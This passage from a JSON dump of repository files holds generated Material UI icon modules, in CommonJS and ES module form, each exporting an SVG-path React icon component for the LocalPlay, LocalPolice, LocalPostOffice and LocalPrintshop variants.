1.5-1.5s-.68-1.5-1.5-1.5-1.5.67-1.5 1.5\"\n}, \"1\")], 'LocalPizzaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPlay.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 12c0-1.1.9-2 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-4c-1.1 0-2-.9-2-2m-4.42 4.8L12 14.5l-3.58 2.3 1.08-4.12-3.29-2.69 4.24-.25L12 5.8l1.54 3.95 4.24.25-3.29 2.69z\"\n}), 'LocalPlay');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPlay.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 12c0-1.1.9-2 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-4c-1.1 0-2-.9-2-2m-4.42 4.8L12 14.5l-3.58 2.3 1.08-4.12-3.29-2.69 4.24-.25L12 5.8l1.54 3.95 4.24.25-3.29 2.69z\"\n}), 'LocalPlay');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPlayOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 10V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-4c-1.1 0-2-.9-2-2s.9-2 2-2m-2-1.46c-1.19.69-2 1.99-2 3.46s.81 2.77 2 3.46V18H4v-2.54c1.19-.69 2-1.99 2-3.46 0-1.48-.8-2.77-1.99-3.46L4 6h16zM9.07 16 12 14.12 14.93 16l-.89-3.36 2.69-2.2-3.47-.21L12 7l-1.27 3.22-3.47.21 2.69 2.2z\"\n}), 'LocalPlayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPlayOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 10V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-4c-1.1 0-2-.9-2-2s.9-2 2-2m-2-1.46c-1.19.69-2 1.99-2 3.46s.81 2.77 2 3.46V18H4v-2.54c1.19-.69 2-1.99 2-3.46 0-1.48-.8-2.77-1.99-3.46L4 6h16zM9.07 16 12 14.12 14.93 16l-.89-3.36 2.69-2.2-3.47-.21L12 7l-1.27 3.22-3.47.21 2.69 2.2z\"\n}), 'LocalPlayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPlayRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 12c0-.76.43-1.42 1.06-1.76.6-.33.94-1.01.94-1.7V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.89-1.99 1.99v2.55c0 .69.33 1.37.94 1.69C3.58 10.58 4 11.24 4 12s-.43 1.43-1.06 1.76c-.6.33-.94 1.01-.94 1.7v2.25C2 19.1 2.9 20 4 20h16c1.1 0 2-.9 2-2v-2.54c0-.69-.34-1.37-.94-1.7-.63-.34-1.06-1-1.06-1.76m-5.5 4.1L12 14.5l-2.5 1.61c-.38.24-.87-.11-.75-.55l.75-2.88-2.3-1.88c-.35-.29-.17-.86.29-.89l2.96-.17 1.08-2.75c.17-.42.77-.42.93 0l1.08 2.76 2.96.17c.45.03.64.6.29.89l-2.3 1.88.76 2.86c.12.45-.37.8-.75.55\"\n}), 'LocalPlayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPlayRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 12c0-.76.43-1.42 1.06-1.76.6-.33.94-1.01.94-1.7V6c0-1.1-.9-2-2-2H4c-1.1 0-1.99.89-1.99 1.99v2.55c0 .69.33 1.37.94 1.69C3.58 10.58 4 11.24 4 12s-.43 1.43-1.06 1.76c-.6.33-.94 1.01-.94 1.7v2.25C2 19.1 2.9 20 4 20h16c1.1 0 2-.9 2-2v-2.54c0-.69-.34-1.37-.94-1.7-.63-.34-1.06-1-1.06-1.76m-5.5 4.1L12 14.5l-2.5 1.61c-.38.24-.87-.11-.75-.55l.75-2.88-2.3-1.88c-.35-.29-.17-.86.29-.89l2.96-.17 1.08-2.75c.17-.42.77-.42.93 0l1.08 2.76 2.96.17c.45.03.64.6.29.89l-2.3 1.88.76 2.86c.12.45-.37.8-.75.55\"\n}), 'LocalPlayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPlaySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 12c0-1.1.9-2 2-2V4H2.01v6c1.1 0 1.99.9 1.99 2s-.89 2-2 2v6h20v-6c-1.1 0-2-.9-2-2m-4.42 4.8L12 14.5l-3.58 2.3 1.08-4.12-3.29-2.69 4.24-.25L12 5.8l1.54 3.95 4.24.25-3.29 2.69z\"\n}), 'LocalPlaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPlaySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 12c0-1.1.9-2 2-2V4H2.01v6c1.1 0 1.99.9 1.99 2s-.89 2-2 2v6h20v-6c-1.1 0-2-.9-2-2m-4.42 4.8L12 14.5l-3.58 2.3 1.08-4.12-3.29-2.69 4.24-.25L12 5.8l1.54 3.95 4.24.25-3.29 2.69z\"\n}), 'LocalPlaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPlayTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.01 8.54C5.2 9.23 6 10.52 6 12s-.81 2.77-2 3.46V18h16v-2.54c-1.19-.69-2-1.99-2-3.46s.81-2.77 2-3.46V6H4zm6.72 1.68L12 7l1.26 3.23 3.47.2-2.69 2.2.89 3.37L12 14.12 9.07 16l.88-3.37-2.69-2.2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-4c-1.1 0-2-.9-2-2s.9-2 2-2V6c0-1.1-.9-2-2-2m0 4.54c-1.19.69-2 1.99-2 3.46s.81 2.77 2 3.46V18H4v-2.54c1.19-.69 2-1.99 2-3.46 0-1.48-.8-2.77-1.99-3.46L4 6h16zM9.07 16 12 14.12 14.93 16l-.89-3.36 2.69-2.2-3.47-.21L12 7l-1.27 3.22-3.47.21 2.69 2.2z\"\n}, \"1\")], 'LocalPlayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPlayTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.01 8.54C5.2 9.23 6 10.52 6 12s-.81 2.77-2 3.46V18h16v-2.54c-1.19-.69-2-1.99-2-3.46s.81-2.77 2-3.46V6H4zm6.72 1.68L12 7l1.26 3.23 3.47.2-2.69 2.2.89 3.37L12 14.12 9.07 16l.88-3.37-2.69-2.2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2v4c1.1 0 1.99.9 1.99 2s-.89 2-2 2v4c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-4c-1.1 0-2-.9-2-2s.9-2 2-2V6c0-1.1-.9-2-2-2m0 4.54c-1.19.69-2 1.99-2 3.46s.81 2.77 2 3.46V18H4v-2.54c1.19-.69 2-1.99 2-3.46 0-1.48-.8-2.77-1.99-3.46L4 6h16zM9.07 16 12 14.12 14.93 16l-.89-3.36 2.69-2.2-3.47-.21L12 7l-1.27 3.22-3.47.21 2.69 2.2z\"\n}, \"1\")], 'LocalPlayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPolice.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm2.5 11.59.9 3.88-3.4-2.05-3.4 2.05.9-3.87-3-2.59 3.96-.34L12 6.02l1.54 3.64 3.96.34z\"\n}), 'LocalPolice');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPolice.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm2.5 11.59.9 3.88-3.4-2.05-3.4 2.05.9-3.87-3-2.59 3.96-.34L12 6.02l1.54 3.64 3.96.34z\"\n}), 'LocalPolice');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPoliceOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.5 12.59.9 3.88-3.4-2.05-3.4 2.05.9-3.87-3-2.59 3.96-.34L12 6.02l1.54 3.64 3.96.34zM12 3.19l7 3.11V11c0 4.52-2.98 8.69-7 9.93-4.02-1.24-7-5.41-7-9.93V6.3zM12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5z\"\n}), 'LocalPoliceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPoliceOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.5 12.59.9 3.88-3.4-2.05-3.4 2.05.9-3.87-3-2.59 3.96-.34L12 6.02l1.54 3.64 3.96.34zM12 3.19l7 3.11V11c0 4.52-2.98 8.69-7 9.93-4.02-1.24-7-5.41-7-9.93V6.3zM12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5z\"\n}), 'LocalPoliceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPoliceRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.5 12.59.63 2.73c.1.43-.37.77-.75.54L12 14.42l-2.39 1.44c-.38.23-.85-.11-.75-.54l.64-2.72-2.1-1.81c-.34-.29-.16-.84.28-.88l2.78-.24 1.08-2.56c.17-.41.75-.41.92 0l1.08 2.55 2.78.24c.44.04.62.59.28.88zM4.19 4.47C3.47 4.79 3 5.51 3 6.3V11c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V6.3c0-.79-.47-1.51-1.19-1.83l-7-3.11c-.52-.23-1.11-.23-1.62 0z\"\n}), 'LocalPoliceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPoliceRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.5 12.59.63 2.73c.1.43-.37.77-.75.54L12 14.42l-2.39 1.44c-.38.23-.85-.11-.75-.54l.64-2.72-2.1-1.81c-.34-.29-.16-.84.28-.88l2.78-.24 1.08-2.56c.17-.41.75-.41.92 0l1.08 2.55 2.78.24c.44.04.62.59.28.88zM4.19 4.47C3.47 4.79 3 5.51 3 6.3V11c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V6.3c0-.79-.47-1.51-1.19-1.83l-7-3.11c-.52-.23-1.11-.23-1.62 0z\"\n}), 'LocalPoliceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPoliceSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.5 12.59.9 3.88-3.4-2.05-3.4 2.05.9-3.87-3-2.59 3.96-.34L12 6.02l1.54 3.64 3.96.34zM3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4z\"\n}), 'LocalPoliceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPoliceSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.5 12.59.9 3.88-3.4-2.05-3.4 2.05.9-3.87-3-2.59 3.96-.34L12 6.02l1.54 3.64 3.96.34zM3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4z\"\n}), 'LocalPoliceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPoliceTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3.19 5 6.3V11c0 4.52 2.98 8.69 7 9.93 4.02-1.23 7-5.41 7-9.93V6.3zm2.5 9.4.9 3.88-3.4-2.05-3.4 2.05.9-3.87-3-2.59 3.96-.34L12 6.02l1.54 3.64 3.96.34z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.5 12.59.9 3.88-3.4-2.05-3.4 2.05.9-3.87-3-2.59 3.96-.34L12 6.02l1.54 3.64 3.96.34zM12 3.19l7 3.11V11c0 4.52-2.98 8.69-7 9.93-4.02-1.24-7-5.41-7-9.93V6.3zM12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5z\"\n}, \"1\")], 'LocalPoliceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPoliceTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3.19 5 6.3V11c0 4.52 2.98 8.69 7 9.93 4.02-1.23 7-5.41 7-9.93V6.3zm2.5 9.4.9 3.88-3.4-2.05-3.4 2.05.9-3.87-3-2.59 3.96-.34L12 6.02l1.54 3.64 3.96.34z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.5 12.59.9 3.88-3.4-2.05-3.4 2.05.9-3.87-3-2.59 3.96-.34L12 6.02l1.54 3.64 3.96.34zM12 3.19l7 3.11V11c0 4.52-2.98 8.69-7 9.93-4.02-1.24-7-5.41-7-9.93V6.3zM12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5z\"\n}, \"1\")], 'LocalPoliceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPostOffice.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 4-8 5-8-5V6l8 5 8-5z\"\n}), 'LocalPostOffice');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPostOffice.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 4-8 5-8-5V6l8 5 8-5z\"\n}), 'LocalPostOffice');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPostOfficeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zm-2 0-8 5-8-5zm0 12H4V8l8 5 8-5z\"\n}), 'LocalPostOfficeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPostOfficeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zm-2 0-8 5-8-5zm0 12H4V8l8 5 8-5z\"\n}), 'LocalPostOfficeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPostOfficeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-.4 4.25-6.54 4.09c-.65.41-1.47.41-2.12 0L4.4 8.25c-.25-.16-.4-.43-.4-.72 0-.67.73-1.07 1.3-.72L12 11l6.7-4.19c.57-.35 1.3.05 1.3.72 0 .29-.15.56-.4.72\"\n}), 'LocalPostOfficeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPostOfficeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-.4 4.25-6.54 4.09c-.65.41-1.47.41-2.12 0L4.4 8.25c-.25-.16-.4-.43-.4-.72 0-.67.73-1.07 1.3-.72L12 11l6.7-4.19c.57-.35 1.3.05 1.3.72 0 .29-.15.56-.4.72\"\n}), 'LocalPostOfficeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPostOfficeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2.01v16H22zm-2 4-8 5-8-5V6l8 5 8-5z\"\n}), 'LocalPostOfficeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPostOfficeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2.01v16H22zm-2 4-8 5-8-5V6l8 5 8-5z\"\n}), 'LocalPostOfficeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPostOfficeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 11 8-5H4zM4 8v10h16V8l-8 5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V8l8 5 8-5zm-8-7L4 6h16z\"\n}, \"1\")], 'LocalPostOfficeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPostOfficeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 11 8-5H4zM4 8v10h16V8l-8 5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V8l8 5 8-5zm-8-7L4 6h16z\"\n}, \"1\")], 'LocalPostOfficeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPrintshop.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 8H5c-1.66 0-3 1.34-3 3v6h4v4h12v-4h4v-6c0-1.66-1.34-3-3-3m-3 11H8v-5h8zm3-7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-1-9H6v4h12z\"\n}), 'LocalPrintshop');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPrintshop.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 8H5c-1.66 0-3 1.34-3 3v6h4v4h12v-4h4v-6c0-1.66-1.34-3-3-3m-3 11H8v-5h8zm3-7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-1-9H6v4h12z\"\n}), 'LocalPrintshop');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPrintshopOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 8h-1V3H6v5H5c-1.66 0-3 1.34-3 3v6h4v4h12v-4h4v-6c0-1.66-1.34-3-3-3M8 5h8v3H8zm8 14H8v-4h8zm2-4v-2H6v2H4v-4c0-.55.45-1 1-1h14c.55 0 1 .45 1 1v4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"11.5\",\n  r: \"1\"\n}, 